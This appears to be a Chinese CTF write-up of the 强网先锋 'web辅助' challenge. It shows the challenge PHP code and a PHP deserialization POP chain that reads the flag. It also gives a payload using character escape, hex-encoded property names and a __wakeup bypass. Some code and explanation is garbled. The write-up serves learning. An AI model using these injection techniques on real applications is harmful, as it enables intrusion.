web

[强网先锋] web辅助

noob
2020-10-26 / 0 评论 / 332 阅读 / 正在检测是否收录...

昨天晚上开会复现了web辅助,忙着回宿舍补作业,今天把复现的内容总结一下。
index.php代码:

    <?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";

if (isset($_GET['username']) && isset($_GET['password'])){
    $username = $_GET['username'];
    $password = $_GET['password'];
    $player = new player($username, $password);
    file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); 
    echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
    echo "Please input the username or password!\n";
}

?>
可以看到是通过username和password传参,然后存入caches,并序列化,然后去找player
play.php代码:
    <?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";

@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
if ($player->get_admin() === 1){
    echo "FPX Champion\n";
}
else{
    echo "The Shy unstoppable\n";
}
?>

这里看到是将caches的值通过check函数的检查并且通过read函数进行读取,并且反序列化,然后引用使get_admin为1,于是去找player类,在class.php中,代码:

  <?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
    }
}

class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
        $this->name = $name;
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }

    public function __destruct(){
        $this->TP();
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }

    public function __invoke(){
        $this->Gank();
    }

    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS();  
        return "";  
    }

}
?>

在class.php中,引用了多个魔术方法。分析代码,函数这里是构造了pop链,topsolo类的TP方法进行对象调用,从而触发midsolo的__invoke方法然后触发Gank方法,stristr是对字符串的操作触发了jungle类的__toString方法获得flag,理清拿flag的思路后开始构造payload。
common.php代码:

 <?php
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}
?>

构造payload:
内容:构造一个恶意的topsolo对象:

$jungle = new $jungle(NULL);
$midsolo = new $midsolo($jungle);
$topsolo = new $topsolo($midsolo);
$a =serialize($topsolo);

绕过:可以看到在这里进行了两次替换和一次过滤,第一次替换是在输入时,在这里会将00替换为00,然后,在下一次读取时,会将00替换为00,于是利用字符逃逸进行对将payload输入。然后还有一次替换,是在check()函数中,只要出现name就不允许输入,这里利用大写S会支持序列化中的十六进制转码来绕过。
此时payload:username=0000000000000000000000&password=A;O:7:"topsolo":1:{S:7:"%00%006eame";O:7:"midsolo":2:{S:7:"%00%006eame";O:6:"jungle":1:{S:7:"%00%006eame";N;}}}
总结:1.__wakeup()函数绕过:如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行。
2.字符逃逸,在read和write函数里可以通过对00和00的替换进行字符逃逸。
3.对于在序列化中的check函数的过滤,可以使用大写S然后十六进制的过滤方式
4.一些魔术方法:
__construct(),类的构造函数
__destruct(),类的析构函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式,调用一个对象时的回应方法
__wakeup(),执行unseriallize()函数时,先会调用这个函数。

6

评论 (0)

取消